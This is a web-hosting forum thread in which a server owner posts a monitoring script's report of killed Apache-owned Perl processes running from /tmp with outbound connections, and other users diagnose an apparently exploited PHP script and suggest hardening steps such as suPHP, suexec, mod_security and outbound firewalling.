-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:01 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49604 64.233.183.104:80 ESTABLISHED 32351/httpd

Environ:


Process ID: 32349 has been killed
Restuls for PID: 32349
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:01 .
dr-xr-xr-x 225 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:01 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:01 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49611 64.233.183.104:80 ESTABLISHED 32349/httpd

Environ:


Process ID: 32347 has been killed
Restuls for PID: 32347
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:01 .
dr-xr-xr-x 226 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:01 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:01 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 178 132.102.91.12:42142 75.126.154.248:80 ESTABLISHED 32347/httpd

Environ:




Server Admin action is required immediately.
Not sure what to do about this?
Hire an Expert http://www.webhostgear.com/quote Generated by WebHostGear.com Nobody Check

Feel free to comment. I have some technical server problems that will eventually cost me clients.

[Sheps]

Where is this server? What kind(Dell? If so, do you have a DRAC card?)

What I would do, and it depends on the type of bootloader you are using. What I would do is this:

First off, enable sshd and network in Single User Mode

chkconfig --levels 12345 sshd on
chkconfig --levels 12345 network on

Change the default runlevel to 1 by editing /etc/inittab and changing the line:

id:3:initdefault:

to

id:1:initdefault:

Reboot your server. You should have just the basics running. (SSHD, Network and the required os processes)

Clean out your /tmp first. Install suphp. Remove exec(), system(), and the other shell functions as well as disable backtick(`) in PHP.

Search for other files like the ones in temp in clients directories. Also, you can restrict the directories that clients have access to in PHP config.

There are a number of competent server admins browsing the forums. Just go to the System Administration Offers forum and look through there to find some.

[Tim Greer]

Those processes show an exploited script (likely an insecure PHP script) that someone used to upload and run a Perl script that happens to be malicious in intent.

There's no reason to reboot the system into single user mode, as there's no indication that the server itself was compromised.

Rebuilding Apache to use suexec for CGI (if it doesn't already) and suPHP is a good idea though. As are things such as mount options, mod_security, and many other things.

Ultimately, you'll want to implement firewalls to stop anyone from binding to a local port altogether, and better controlling outgoing connections as well. Finally, tracking where the script that's being exploited is and removing access or patching/upgrading or replacing it with a script that's better/more secure.